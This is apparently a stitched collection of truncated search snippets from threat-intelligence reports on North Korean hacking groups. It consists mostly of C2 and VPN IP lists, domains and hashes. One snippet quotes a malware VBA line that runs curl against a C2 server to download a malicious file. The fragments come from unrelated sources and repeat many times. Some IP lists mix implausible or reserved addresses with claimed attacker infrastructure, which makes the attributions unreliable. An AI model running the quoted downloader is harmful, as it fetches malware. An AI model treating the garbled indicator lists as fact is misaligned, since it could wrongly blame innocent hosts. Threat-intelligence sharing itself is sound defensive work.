104.223.97.2 104.223.98.2 107.172.242.4 107.174.131.204 155.94.255.2 189.1.170.50 194.33.45.162 198.23.241.254 199.115.99.34 204.188.233.66 208.115.228.234…","…IP and domains Active Bluenoroff C2 servers 104.156.149.130 (2023-04-18 - today) 104.255.172.52 (2023-03-18 - today) 104.234.147.28 (2023-01-21 - today) 104.168.138.7 (2023-03-17 - today) 104.168.167.88 (2022-10-17 - today) 155.138.159.45 (2022-09-20 - today) Inactive…","…8100 QuadraNet (US) 104.223.98.2 8100 QuadraNet (US) 104.243.33.74 23470 ReliableSite.Net LLC (US) 104.250.148.58 53850 GorillaServers AstrillVPN…","….107 103.125.234.161 103.125.234.210 103.130.145.210 103.157.217.145 103.172.26.58 103.214.44.138 104.168.14.206 104.223.63.2 104.223.87.12 104.250.131.79 104.250.148.58 107.150.38.250 107.167.25.130 107.167.244.42 107.172.97.67 108.181.41.234 118.107.244.171 125.227.75.208 125.227.80.190 125.…","…89.187.185.11 // DPRK-operated VPS IPv4: 45.77.71.42 // DPRK-operated VPS IPv4: 185.152.67.39 // DPRK-operated VPS IPv4: 104.250.148.58 // AstrillVPN exit node IPv4: 192.200.115.226 // AstrillVPN exit node IPv4: 107.150.38.250 // AstrillVPN exit node IPv4: 206.217.134.34…","…8100 QuadraNet (US) 104.243.33.74 23470 ReliableSite.Net LLC (US) 104.250.148.58 53850 GorillaServers AstrillVPN (US) 109.82.113.75 35819 Mobily (SA)…","…IPv4: 89.187.185.11 // DPRK-operated VPS IPv4: 45.77.71.42 // DPRK-operated VPS IPv4: 185.152.67.39 // DPRK-operated VPS IPv4: 104.250.148.58 // AstrillVPN exit node IPv4: 192.200.115.226 // AstrillVPN exit node IPv4: 107.150.38.250 // AstrillVPN exit node IPv4: 206.217.134.34…","…4.161 103.125.234.210 103.130.145.210 103.157.217.145 103.172.26.58 103.214.44.138 104.168.14.206 104.223.63.2 104.223.87.12 104.250.131.79 104.250.148.58 107.150.38.250 107.167.25.130 107.167.244.42 107.172.97.67 108.181.41.234 118.107.244.171 125.227.75.208 125.227.80.190 125.227.82.145 125.…","…104.253.7.202 Polaris Team 104.253.43.239 Polaris Team 104.253.75.110 Polaris Team 104.253.160.77 Polaris Team 104.253.201.228 Polaris Team 162.253.129.2 MyoHyangGyongSong team…","…104.253.43.239 Polaris Team 104.253.75.110 Polaris Team 104.253.160.77 Polaris Team 104.253.201.228 Polaris Team 162.253.129.2 MyoHyangGyongSong team 91.239.130.102 Team 128-710…","…C2 operations 175.45.176.69 DPRK Fake IT worker exit node 104.253.7.202 Polaris Team 104.253.43.239 Polaris Team 104.253.75.110 Polaris Team 104.253.160.77 Polaris Team 104.253.201.228…","…C2 operations 175.45.176.144 C2 operations 175.45.176.69 DPRK Fake IT worker exit node 104.253.7.202 Polaris Team 104.253.43.239 Polaris Team 104.253.75.110 Polaris Team 104.253.160.77…","…DPRK Fake IT worker exit node 104.253.7.202 Polaris Team 104.253.43.239 Polaris Team 104.253.75.110 Polaris Team 104.253.160.77 Polaris Team 104.253.201.228 Polaris Team 162.253.129.2…","…IP and domains Active Bluenoroff C2 servers 104.156.149.130 (2023-04-18 - today) 104.255.172.52 (2023-03-18 - today) 104.234.147.28 (2023-01-21 - today) 104.168.138.7 (2023-03-17 - today) 104.168.167.88 (2022-10-17 -…","…- main.scpt 7c66d2d75be43d2c17e75d37c39344a9b5d29ee5c5861f178aa7d9f34208eb48 cloud.dnx.capital 104.255.172.56 ZIP - Internal PDF Viewer.zip ff8832355ae99ffd66d0fe9eda2d74efdf3ed87bb2a4c215b93ade93165f7c0b ZIP - Internal PDF…","…6.161.205.142 216.255.189.85 12.4.11.53 39.100.159.8 63.219.176.248 176.96.138.103 81.161.229.110 107.189.6.214 66.220.17.157 103.74.105.78 104.37.168.41 65.98.83.114 3.3.3.255 61.32.117.110 178.23.190.157 198.23.172.90 217.23.6.131 222.186.60.89 74.82.216.27 3.70.247.229 47.103.45.174 161.35…","…그리고 베트남 소재의 '103.149.98.248' (VN) 주소는 악성파일 C2 서버로 쓰였을 것으로 추정됩니다. ○ 특히, '1.223.129.234' (KR) 외에 '211.170.73.245' (KR), '106.243.157.158' (KR) 주소도 위협 인프라로 사용됐을 가능성이 높습니다. IP Domain Hosting 1.223.129.234 (KR) kida.plusdocs.kro.kr 내도메인.한국 mspro.kro.kr…","…used as a C2 server for distributing malicious files. ○ In particular, beyond 1.223.129.234 (KR), the addresses 211.170.73.245 (KR) and 106.243.157.158 (KR) are also considered likely components of the threat infrastructure. IP Domain Hosting 1.223.129.234 (KR)…","…As Integer counts = 0 'DirFile = \"C:\\temp\\fileDownloader.exe\" If fso.FileExists(defD?r) Then Else 'Shell \"cmd.exe /c curl http://106.249.253.146:12582/common/malDownFilePath.do?trnKey=20200122(n)leSLHhG^&type=fi(l)eDownload^&tr(n)Type=EML^&sta(t)Type=XLS_RAN_EXEC --output…","…185.152.67.39 // DPRK-operated VPS IPv4: 104.250.148.58 // AstrillVPN exit node IPv4: 192.200.115.226 // AstrillVPN exit node IPv4: 107.150.38.250 // AstrillVPN exit node IPv4: 206.217.134.34 // AstrillVPN exit node IPv4:199.168.112.175 // AstrillVPN exit…","…34.210 103.130.145.210 103.157.217.145 103.172.26.58 103.214.44.138 104.168.14.206 104.223.63.2 104.223.87.12 104.250.131.79 104.250.148.58 107.150.38.250 107.167.25.130 107.167.244.42 107.172.97.67 108.181.41.234 118.107.244.171 125.227.75.208 125.227.80.190 125.227.82.145 125.227.90.115 129.…","…Ltd : 69.30.210.152 - 69.30.210.159 (WholeSale Internet - Kansas) 107.150.47.16 - 107.150.47.23 (Nocix LLC - Kansas) 173.208.245.144 - 173.208.245.151 (WholeSale Internet - Kansas) Although we did not identify any…","…Ltd : 69.30.210.152 - 69.30.210.159 (WholeSale Internet - Kansas) 107.150.47.16 - 107.150.47.23 (Nocix LLC - Kansas) 173.208.245.144 - 173.208.245.151 (WholeSale Internet - Kansas) Although we did not identify any interesting…","…\"username\": \"xxxxx\" }, \"net_info\": { \"lat\": 36.1539, \"lon\": -95.9927, \"zip\": \"\", \"isp\": \"Google LLC\", \"city\": \"Tulsa\", \"query\": \"107.167.165.11\", \"country\": \"United States\", \"timezone\": \"America Chicago\", \"regionName\": \"Oklahoma\", \"internalIp\": \"\" } } Figure 10 :…","….217.145 103.172.26.58 103.214.44.138 104.168.14.206 104.223.63.2 104.223.87.12 104.250.131.79 104.250.148.58 107.150.38.250 107.167.25.130 107.167.244.42 107.172.97.67 108.181.41.234 118.107.244.171 125.227.75.208 125.227.80.190 125.227.82.145 125.227.90.115 129.232.193.253 134.195.197.175 14…","…145.210 103.157.217.145 103.172.26.58 103.214.44.138 104.168.14.206 104.223.63.2 104.223.87.12 104.250.131.79 104.250.148.58 107.150.38.250 107.167.25.130 107.167.244.42 107.172.97.67 108.181.41.234 118.107.244.171 125.227.75.208 125.227.80.190 125.227.82.145 125.227.90.115 129.232.193.253 134…","…Unique Astrill VPN IPs included in Lazarus Group infrastructure logs include: 104.223.97.2 104.223.98.2 107.172.242.4 107.174.131.204 155.94.255.2 189.1.170.50 194.33.45.162 198.23.241.254 199.115.99.34 204.188.233.66 208.115.228.234 209.127.117.23…","…17.148.142.113 0.10.51.212 45.61.151.174 23.227.203.192 23.227.202.51 23.227.202.52 172.86.116.90 144.172.97.7 95.179.135.133 37.60.234.203 107.172.31.179 188.255.239.34 197.182.186.212 43.136.234.140 192.210.215.11 46.28.70.102 156.245.19.127 155.15.133.69 115.0.0.0 89.23.96.177 5.181.159.95…","…2.26.58 103.214.44.138 104.168.14.206 104.223.63.2 104.223.87.12 104.250.131.79 104.250.148.58 107.150.38.250 107.167.25.130 107.167.244.42 107.172.97.67 108.181.41.234 118.107.244.171 125.227.75.208 125.227.80.190 125.227.82.145 125.227.90.115 129.232.193.253 134.195.197.175 142.214.202.2 15…","…Unique Astrill VPN IPs included in Lazarus Group infrastructure logs include: 104.223.97.2 104.223.98.2 107.172.242.4 107.174.131.204 155.94.255.2 189.1.170.50 194.33.45.162 198.23.241.254 199.115.99.34 204.188.233.66 208.115.228.234 209.127.117.234 23.106.161.1…","…45 207.226.171.35 31.210.20.22 62.210.10.120 58.49.58.20 154.12.92.53 94.228.169.123 89.188.16.18 69.50.170.100 115.238.251.56 91.243.44.21 107.175.3.10 222.186.50.35 185.183.98.14 167.99.39.23 195.88.208.210 112.101.40.34 9.5.11.0 64.190.113.230 69.50.175.178 60.217.234.138 188.34.187.110 4…","…(may be shared origin) 2 103.39.70.248 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 107.178.11.226 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 107.189.8.240 ipv4 insider August 2024…","…(IoCs) Supabase URL https://mkswbddldpyiqkyu.supabase.co/ C2 URL http://144.172.96.35/ Threat Actor: Victor@3-KZH 107.182.231.193, 107.182.231.196, 120.226.22.28, 184.174.5.149, 223.104.144.97, 31.13.189.10, 31.13.189.178, 37.120.216.226, 38.134.148.94, 45.141.153.154,…","…URL https://mkswbddldpyiqkyu.supabase.co/ C2 URL http://144.172.96.35/ Threat Actor: Victor@3-KZH 107.182.231.193, 107.182.231.196, 120.226.22.28, 184.174.5.149, 223.104.144.97, 31.13.189.10, 31.13.189.178, 37.120.216.226, 38.134.148.94, 45.141.153.154, 89.116.158.156,…","…55.255 240.0.0.0 192.88.99.0 192.0.2.0 192.175.48.0 69.197.164.135 95.216.64.240 198.23.251.121 192.3.204.226 172.245.142.35 173.208.160.45 107.189.11.54 13.112.233.199 45.32.176.234 122.224.9.67 45.58.116.102 6.0.6.0 14.114.114.114 122.224.51.149 81.177.26.27 34.255.217.70 217.8.117.63 87.19…","ip 103.161.35.57 103.35.190.170 104.194.133.88 107.189.16.122 107.189.16.176 107.189.20.152 107.189.24.80 107.189.25.109 108.181.185.2 135.125.248.56 135.181.242.24 138.124.184.171 138.201.199.46 144.1…","…AS396073, Carrollton TX); 104.192.42.117:3000 (EuroHoster / AS207728, per AllSecure) Wider-cluster C2 IPs (hosting WHOIS-verified): 107.189.16.154:8353 (FranTech / PonyNet, US) · 5.180.30.30:4558 (THE-HOSTING / WorkTitans B.V., NL) · 31.222.238.61:4558 ( P.Q.…","ip 103.161.35.57 103.35.190.170 104.194.133.88 107.189.16.122 107.189.16.176 107.189.20.152 107.189.24.80 107.189.25.109 108.181.185.2 135.125.248.56 135.181.242.24 138.124.184.171 138.201.199.46 144.172.100.124 144.…","…High-confidence examples include jsonkeeper.com paste IDs, api.npoint.io paste endpoints, 107.189.20.115 , 216.126.237.71 , 95.216.26.109:6211 , and analyse sessions on port 1244 ; see Indicators of Compromise below for the fuller list used in…","ip 103.161.35.57 103.35.190.170 104.194.133.88 107.189.16.122 107.189.16.176 107.189.20.152 107.189.24.80 107.189.25.109 108.181.185.2 135.125.248.56 135.181.242.24 138.124.184.171 138.201.199.46 144.172.100.124 144.172.100.142 144…","…144.172.110.96 Related infrastructure 144.172.110.228 Related infrastructure 144.172.99.248 Related infrastructure 107.189.22.20 Related infrastructure 144.172.110.132 Related infrastructure 144.172.99.81 Related infrastructure 144.172.93.169…","…8 45.61.165.45 66.235.168.17 66.235.168.232 66.235.168.238 66.235.175.109 66.235.175.117 67.203.7.163 67.203.7.200 67.203.7.205 88.218.0.78 107.189.24.80 144.172.95.226 144.172.100.124 144.172.100.142 144.172.102.21 144.172.102.148 144.172.103.97 144.172.104.113 144.172.105.189 144.172.105.23…","…name: CoinLocator-main coin-promoting-app-main 0xhpenvynb-mvp_gamba-6b10f2e9dd85 IP: 144.172.96.35 107.189.24.80 135.181.123.177 Favicon Hash: 41ee7ddb2be173686dc3a73a49b4e93bc883ef363acca770f7ede891451122ab Find this Story Interesting! Follow us…","ip 103.161.35.57 103.35.190.170 104.194.133.88 107.189.16.122 107.189.16.176 107.189.20.152 107.189.24.80 107.189.25.109 108.181.185.2 135.125.248.56 135.181.242.24 138.124.184.171 138.201.199.46 144.172.100.124 144.172.100.142 144.172.101.45 14…","…https[ :// ]api.npoint.io/38acf86b6eb42b51b9c2 Markdown BeaverTail/InvisibleFerret Command & Control servers 107.189.25.109 144.172.100.142 144.172.103.97 144.172.95.226 144.172.97.7 146.70.253.10 146.70.253.107 147.124.197.138 147.124.197.149…","ip 103.161.35.57 103.35.190.170 104.194.133.88 107.189.16.122 107.189.16.176 107.189.20.152 107.189.24.80 107.189.25.109 108.181.185.2 135.125.248.56 135.181.242.24 138.124.184.171 138.201.199.46 144.172.100.124 144.172.100.142 144.172.101.45 144.172.102.148 1…","…9.89.214.31 174.133.126.27 115.16.79.72 206.161.205.142 216.255.189.85 12.4.11.53 39.100.159.8 63.219.176.248 176.96.138.103 81.161.229.110 107.189.6.214 66.220.17.157 103.74.105.78 104.37.168.41 65.98.83.114 3.3.3.255 61.32.117.110 178.23.190.157 198.23.172.90 217.23.6.131 222.186.60.89 74.8…","…(may be shared origin) 2 107.178.11.226 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 107.189.8.240 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 113.160.133.32 ipv4 insider August 2024…","…Twitter (@skocherhan) https://x.com/skocherhan/status/1978542223135576405 Shodan (108.165.100.36) https://www.shodan.io/host/108.165.100.36 The pattern is clear: traditional C2 infrastructure (servers, IPs, hostnames) gets rotated regularly.…","…166.88.117.240 Sep-25 Remcos 23.27.124.91 Sep-25 Remcos 156.227.0.60 Sep-25 Rhadamanthys Stealer 96.126.191.167 Sep-25 Xworm 108.165.147.181 Sep-25 SuperShell C2 216.173.65.45 Sep-25 Remcos 166.88.194.123 Aug-25 Cobalt Strike (Watermark: 0) 23.27.163.245 Aug-25 VenomRAT…","…108.174.194.44 and 108.174.194.196 .…","…server may be configured to impersonate legitimate email services or facilitate phishing operations. Figure 5: IP overview in Hunt for 108.174.194.196.…","…The first server ( 108.174.194.44 ) remains active at the time of writing, but further analysis did not yield any notable findings. Focusing on the second server revealed…","…67.73.23 101.115.99.97 1.1.5.0 216.170.114.67 66.42.63.27 143.202.163.165 1.0.0.109 67.211.220.139 91.92.109.16 184.154.150.66 217.23.12.63 108.179.192.85 45.195.143.203 47.102.38.154 5.16.16.2 77.78.240.167 65.243.103.80 69.20.25.160 76.73.68.175 61.160.222.11 110.32.117.110 82.98.235.63 188.…","ip 103.161.35.57 103.35.190.170 104.194.133.88 107.189.16.122 107.189.16.176 107.189.20.152 107.189.24.80 107.189.25.109 108.181.185.2 135.125.248.56 135.181.242.24 138.124.184.171 138.201.199.46 144.172.100.124 144.172.100.142 144.172.101.45 144.172.102.148 144.172.102.21…","…4.44.138 104.168.14.206 104.223.63.2 104.223.87.12 104.250.131.79 104.250.148.58 107.150.38.250 107.167.25.130 107.167.244.42 107.172.97.67 108.181.41.234 118.107.244.171 125.227.75.208 125.227.80.190 125.227.82.145 125.227.90.115 129.232.193.253 134.195.197.175 142.214.202.2 155.94.199.59 158…","…그리고 이메일이 발송된 곳은 '108.181.50.58' VPN 주소로 확인이 됩니다. [그림 6] 한일납치문제 세미나 자료 첨부 위장 정찰 모습 ○ 하지만, 해당 메일은 '4월 북한동향' 제목 사례와 같이 특정 서버로 링크된 파일입니다.…","…associated with ROKRAT and similar sophisticated malware. Impact Information Theft and Espionage Indicators of Compromise IP 108.181.50.58 158.247.219.10 175.214.194.61 61.97.243.2 MD5 5f6682ad9da4590cba106e2f1a8cbe26 SHA-256…","…567 / 615 24-02094 103.163.220.242 103.163.220.248 103.163.220.38 103.163.220.61 103.235.17.57 104.234.140.132 108.181.50.58 114.42.193.83 117.20.113.188 117.20.116.53 146.70.144.77 146.70.199.8 146.70.42.122 149.36.50.13 157.97.122.39…","…하기 아이피들은 실제 공격에 활용됐던 중요한 지표이지만, 시계열 시점상 휘발성 특성도 고려해야 합니다. 108.181.50.58 108.181.52.169 108.181.52.229 108.181.52.231 108.181.52.234 108.181.52.235 108.181.52.236 N/A [표 3] 2023년 식별된 아이피 대역들 ○ 한편, 지난…","…38.132.106.130, 45.141.153.130, 89.116.158.156, 89.116.158.228, 89.116.158.68, 89.116.158.84 Threat Actor: GHOST72@3-UJS-2 108.181.57.127, 195.146.5.31, 199.168.113.31, 89.187.185.11 Threat Actor: ghost@GHOST-3 129.232.193.253, 195.146.5.31, 209.127.117.234,…","…LLC (US) 104.250.148.58 53850 GorillaServers AstrillVPN (US) 109.82.113.75 35819 Mobily (SA) 113.227.237.46 4837 China Unicom (CN)…","…129.2.4.2 173.208.139.170 185.141.24.216 212.129.31.67 85.255.112.36 46.243.189.101 185.141.25.168 94.242.253.106 23.82.19.209 151.164.1.82 11.64.1.1 91.234.35.106 193.142.58.171 188.40.184.141 91.240.118.168 185.118.167.189 216.126.196.190 139.59.209.204 18.193.102.232 100.43.129.182 81.…","…32.203 198.12.107.229 20.40.97.94 37.115.98.97 2.4.0.0 141.98.6.105 91.206.92.208 148.251.71.182 54.249.210.44 061.19.253.26 209.59.216.158 11.76.6.1 3.130.37.158 94.142.138.111 94.75.201.1 144.48.240.85 91.224.92.26 94.130.200.99 66.102.11.99 81.95.147.107 20.51.217.113 45.142.211.22 1.0…","…0.66 217.23.12.63 108.179.192.85 45.195.143.203 47.102.38.154 5.16.16.2 77.78.240.167 65.243.103.80 69.20.25.160 76.73.68.175 61.160.222.11 110.32.117.110 82.98.235.63 188.120.194.101 2.23.43.1 20.195.196.49 3.3.14.2 209.141.61.124 58.218.200.107 66.171.248.178 216.18.197.130 103.183.118.30 18…","…GitLab.com via Astrill VPN, however we also observed origination from China Unicom IP addresses geolocated to Beijing, most recently 111.197.183.74 .…","…4.164 167.114.48.58 91.207.116.44 94.198.50.195 174.128.236.169 122.193.130.74 91.92.246.35 49.12.42.56 122.224.9.151 200.98.65.206 1.3.1.0 111.90.149.233 20.234.231.114 77.83.197.180 205.177.124.74 5.5.7.1 23.108.108.42 27.126.188.212 62.233.57.103 80.66.75.25 47.103.219.77 65.98.83.119 37.22…","…94.228.169.123 89.188.16.18 69.50.170.100 115.238.251.56 91.243.44.21 107.175.3.10 222.186.50.35 185.183.98.14 167.99.39.23 195.88.208.210 112.101.40.34 9.5.11.0 64.190.113.230 69.50.175.178 60.217.234.138 188.34.187.110 4.55.37.210 18.141.200.95 66.199.251.114 89.23.98.22 85.17.138.60 59.18…","….250 65.19.154.100 1.8.0.0 65.98.83.116 44.238.74.84 198.12.91.160 47.243.229.22 192.210.149.242 207.54.136.33 94.228.169.143 192.3.141.164 112.124.120.200 120.55.196.60 59.46.12.25 193.29.15.147 9.142.66.240 185.117.73.222 88.208.17.127 23.152.0.101 59.58.1.63 1.3.6.1 93.185.4.90 219.235.1.72…","…145.138 194.180.191.15 193.243.147.143 162.19.214.208 116.9.143.112 208.67.222.222 91.92.253.11 154.204.179.4 176.111.174.140 185.106.94.51 112.175.69.77 185.123.53.208 154.91.64.19 51.75.36.184 172.104.65.137 178.250.159.150 79.174.92.22 67.198.179.75 103.54.153.116 212.46.38.238 95.164.63.5…","…C2 서버 디렉터리 리스팅 화면 ○ 피해자일 가능성이 높은 한국 소재의 IP 주소(비식별화 모자이크 처리) 외에 다수의 국제 주소가 식별됐습니다. [그림 3-11] IP 주소 조회 결과 ○ 이 가운데 중국 소재의 '112.74.194.45' (CN) IP 로그에서 위협 행위자의 키로그(Keylog) 기록이 존재했던 것으로 밝혀졌습니다.…","…Lookup Results ○ Among them, a keylogging record linked to the threat actor was found in the logs of the China-based IP address 112.74.194.45 (CN).…","…(may be shared origin) 2 107.189.8.240 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 113.160.133.32 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 115.72.1.61 ipv4 insider August 2024 November…","…more being added in real time as our investigation continues. Here is the sample list of IP addresses: 103.130.145.210 104.129.22.2 113.20.30.139 134.195.197.175 167.88.61.250 169.38.132.135 169.57.129.31 172.93.100.166 172.96.141.172 185.108.128.54 Continuing to Track…","…53850 GorillaServers AstrillVPN (US) 109.82.113.75 35819 Mobily (SA) 113.227.237.46 4837 China Unicom (CN) 119.155.190.202 56167 Ufone (PK)…","…the US market. China Unicom IP addresses found when investigating North Korean incidents: 42.84.228.232 60.20.1.234 139.215.45.250 113.227.237.46 123.190.56.214 VPS IP Address Activity We also saw virtual private server (VPS) IP addresses during authentications that weren’t…","…71.176.240 209.190.122.186 5.172.39.25 190.123.44.138 5.255.117.115 85.239.33.149 5.206.227.228 181.189.152.131 188.227.57.46 206.51.237.93 114.115.184.62 159.89.9.74 185.141.26.231 31.202.130.93 185.219.223.119 83.217.8.61 190.111.9.129 216.250.99.5 219.153.51.47 37.49.229.26 190.14.37.100 20…","…200.107 66.171.248.178 216.18.197.130 103.183.118.30 185.117.72.143 104.168.160.209 58.221.71.73 121.12.104.29 159.89.214.31 174.133.126.27 115.16.79.72 206.161.205.142 216.255.189.85 12.4.11.53 39.100.159.8 63.219.176.248 176.96.138.103 81.161.229.110 107.189.6.214 66.220.17.157 103.74.105.…","…207.226.178.158 51.79.185.145 207.226.171.35 31.210.20.22 62.210.10.120 58.49.58.20 154.12.92.53 94.228.169.123 89.188.16.18 69.50.170.100 115.238.251.56 91.243.44.21 107.175.3.10 222.186.50.35 185.183.98.14 167.99.39.23 195.88.208.210 112.101.40.34 9.5.11.0 64.190.113.230 69.50.175.178 60.21…","…9 37.221.160.56 185.147.237.244 180.101.75.58 045.4.3.3 6.0.1.06 185.216.213.137 78.111.67.189 69.50.175.181 178.236.247.102 209.200.169.10 115.47.49.181 42.51.155.153 45.93.201.62 65.98.83.115 54.237.176.95 58.65.239.124 185.244.25.155 91.92.252.146 5.39.217.221 194.178.112.202 98.126.208.83…","…(may be shared origin) 2 113.160.133.32 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 115.72.1.61 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 117.1.101.198 ipv4 insider August 2024…","…통해 피해자 컴퓨터에 원격으로 액세스할 수 있도록 설정을 구성합니다. ○ 참고로, ' Microsoft Threat Intelligence ' SNS 통해 유사한 사례가 알려졌는데, 'securedrive.fin-tech.com', '115.92.4.123' (KR) C2 주소가 공개된 바 있습니다. ○ 한국 사례의 C2는 'kida.plusdocs.kro.kr' 도메인이고, 연결된 IP 주소는 '1.223.129.234' (KR) 입니다.…","…February 2025 eunsoolim29@gmail.com Email address Sender email January 2025 115.92.4.123 IP Likely legitimate but compromised server January 2025 121.179.161.230 IP Likely…","…shared on social media by “ Microsoft Threat Intelligence ”, which revealed related C2 addresses such as “securedrive.fin-tech.com” and “115.92.4.123 (KR)”. ○ In the Korean case, the C2 domain was “kida.plusdocs.kro.kr,” with an associated IP address of 1.223.129.234 (KR).…","…116.125.126.38 www.royalsevr es.com SK Broadband Co Ltd 2024‑06‑25 Remote storage for DeceptiveDevelopment.…","…Dynamic hosting, driverservices.store 116.125.126.38 SK Broadband Co Ltd Dynamic hosting, www.royalsevres.com 103.231.75.101 THE-HOSTING-MNT Currently hosted on WorkTitans B.V…","…2025 | SINCON | Infosec In the City IoCs 通信先 alchemy-api-v3.cloud chainlink-api-v3.cloud moralis-api-v3.cloud modilus.io 116.202.208.125 65.108.122.31 194.164.234.151 135.181.123.177 188.116.26.84 65.21.23.63 95.216.227.188 記事をシェアする 前の記事…","…174.122.240.164 020.4.11.165 207.226.177.108 37.49.224.144 78.128.92.26 64.27.0.205 69.164.196.211 64.233.183.104 37.0.10.214 176.9.157.143 116.255.235.91 194.36.190.41 4.6.0.0 194.36.191.10 203.199.200.61 65.243.103.58 23.95.238.122 66.40.9.246 185.215.113.201 179.43.134.164 167.114.48.58 91.…","….98.10 185.156.73.73 193.233.254.0 194.38.20.211 198.15.82.162 179.60.149.194 193.242.145.138 194.180.191.15 193.243.147.143 162.19.214.208 116.9.143.112 208.67.222.222 91.92.253.11 154.204.179.4 176.111.174.140 185.106.94.51 112.175.69.77 185.123.53.208 154.91.64.19 51.75.36.184 172.104.65.1…","…(may be shared origin) 2 115.72.1.61 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 117.1.101.198 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 121.132.60.117 ipv4 insider August 2024…","…8.14.206 104.223.63.2 104.223.87.12 104.250.131.79 104.250.148.58 107.150.38.250 107.167.25.130 107.167.244.42 107.172.97.67 108.181.41.234 118.107.244.171 125.227.75.208 125.227.80.190 125.227.82.145 125.227.90.115 129.232.193.253 134.195.197.175 142.214.202.2 155.94.199.59 158.255.76.195 162.…","…an earlier draft of the web application that contained only the first two IP addresses. 188.43.33.250 49.145.111.7 190.120.252.13 118.148.107.73 87.249.132.144 94.224.115.64 198.50.130.118 94.71.186.249 77.166.75.76 134.228.221.237 81.184.178.102 81.34.167.92 50.67.15.10 128.203.96.2…","…'Adersoft'에서 배포하는 'VBScript Editor with Debugger' 프로그램의 Launcher 파일을 이용해 악성 manifest 파일을 호출합니다. ○ 아울러 C2 서버 'androcl.csproject.org', '118.193.69.151' (KR) 주소와 통신시 기존 'BabyShark' 패턴과 유사한 것을 알 수 있습니다.…","…with Debugger” program to execute a malicious manifest file. ○ Additionally, communication with the C2 servers androcl.csproject.org and 118.193.69.151 (KR) exhibited patterns similar to those seen in previous “BabyShark” activity.…","…account-profile.servepics.com 210.179.30.213 KR accounts-porfile.serveirc.com securedrive.servehttp.com 172.86.111.75 US 118.194.228.184 JP securedrive.fin-tech.com 115.92.4.123 KR kida.plusdocs.kro.kr 1.223.129.234 KR mspro.kro.kr…","…January 2025 221.144.93.250 IP Likely legitimate but compromised server January 2025 118.194.228.184 IP Likely legitimate but compromised server January 2025 14.34.85.86 IP Likely…","…35819 Mobily (SA) 113.227.237.46 4837 China Unicom (CN) 119.155.190.202 56167 Ufone (PK) 123.190.56.214 4837 China Unicom (CN)…","…IOC http://119.8.26.163:58888/p/b66886/os11/ https://api.aliyun-sdk-requests.xyz/tencent https://tg.aliyun-sdk-requests.xyz/telegram https://api.aliyun-sdk-requ…","…15.20 2.0.0.0 22.186.3.65 4.0.0.0 49.1.1.52 167.71.14.135 23.249.163.163 185.172.128.11 200.98.146.241 185.125.230.210 3.4.6.7 27.0.092.168 12.101.97.71 122.228.7.225 85.17.93.189 4.82.216.67 206.123.147.226 83.149.95.197 104.196.12.189 23.95.122.25 174.122.240.164 020.4.11.165 207.226.177.1…","…16.113 209.127.20.13 154.7.253.191 91.243.44.22 4.82.216.57 45.66.230.56 4.5.77.0 197.149.90.166 185.217.197.84 199.19.226.25 167.114.0.144 12.4.0.158 94.23.26.205 85.195.115.20 2.0.0.0 22.186.3.65 4.0.0.0 49.1.1.52 167.71.14.135 23.249.163.163 185.172.128.11 200.98.146.241 185.125.230.210…","…3.118.30 185.117.72.143 104.168.160.209 58.221.71.73 121.12.104.29 159.89.214.31 174.133.126.27 115.16.79.72 206.161.205.142 216.255.189.85 12.4.11.53 39.100.159.8 63.219.176.248 176.96.138.103 81.161.229.110 107.189.6.214 66.220.17.157 103.74.105.78 104.37.168.41 65.98.83.114 3.3.3.255 61…","…C2 URL http://144.172.96.35/ Threat Actor: Victor@3-KZH 107.182.231.193, 107.182.231.196, 120.226.22.28, 184.174.5.149, 223.104.144.97, 31.13.189.10, 31.13.189.178, 37.120.216.226, 38.134.148.94, 45.141.153.154, 89.116.158.156, 89.116.158.164,…","…00 1.8.0.0 65.98.83.116 44.238.74.84 198.12.91.160 47.243.229.22 192.210.149.242 207.54.136.33 94.228.169.143 192.3.141.164 112.124.120.200 120.55.196.60 59.46.12.25 193.29.15.147 9.142.66.240 185.117.73.222 88.208.17.127 23.152.0.101 59.58.1.63 1.3.6.1 93.185.4.90 219.235.1.72 194.165.4.39 2…","….195.196.49 3.3.14.2 209.141.61.124 58.218.200.107 66.171.248.178 216.18.197.130 103.183.118.30 185.117.72.143 104.168.160.209 58.221.71.73 121.12.104.29 159.89.214.31 174.133.126.27 115.16.79.72 206.161.205.142 216.255.189.85 12.4.11.53 39.100.159.8 63.219.176.248 176.96.138.103 81.161.229.1…","…(may be shared origin) 2 117.1.101.198 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 121.132.60.117 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 125.26.238.166 ipv4 insider August 2024…","…January 2025 115.92.4.123 IP Likely legitimate but compromised server January 2025 121.179.161.230 IP Likely legitimate but compromised server January 2025 121.179.161.231 IP Likely…","…msprovider.menews.o-r.kr securedrive-overseas-state.bit-albania.com 65.254.248.151 US securedrive.privatedns.org 121.179.161.231 KR [표 4-1] C2별 Domain, IP 주소 비교 5.…","…January 2025 121.179.161.230 IP Likely legitimate but compromised server January 2025 121.179.161.231 IP Likely legitimate but compromised server January 2025 172.86.111.75 IP Likely…","…msprovider.menews.o-r.kr securedrive-overseas-state.bit-albania.com 65.254.248.151 US securedrive.privatedns.org 121.179.161.231 KR [Table 4-1] Comparison of Domains and IP Addresses by C2 5.…","…31.84.223 70.38.40.185 42.51.159.222 84.16.234.103 209.62.108.220 209.141.42.149 170.85.221.107 94.142.138.97 222.139.151.114 18.159.59.253 121.207.229.145 61.92.48.59 103.213.247.48 20.254.53.47 104.168.32.203 198.12.107.229 20.40.97.94 37.115.98.97 2.4.0.0 141.98.6.105 91.206.92.208 148.251.7…","….121.160 45.95.235.56 50.233.152.7 122.224.32.8 173.243.255.79 89.23.98.16 170.130.55.130 103.20.235.174 139.162.22.35 1.1.1.1 91.92.251.35 121.88.5.183 192.3.220.6 5.181.159.76 178.16.54.109 38.154.237.100 45.61.160.28 46.105.47.148 138.201.125.58 224.0.0.0 192.0.2.1 0.0.0.0 192.0.0.0 192.0…","….96.86.81 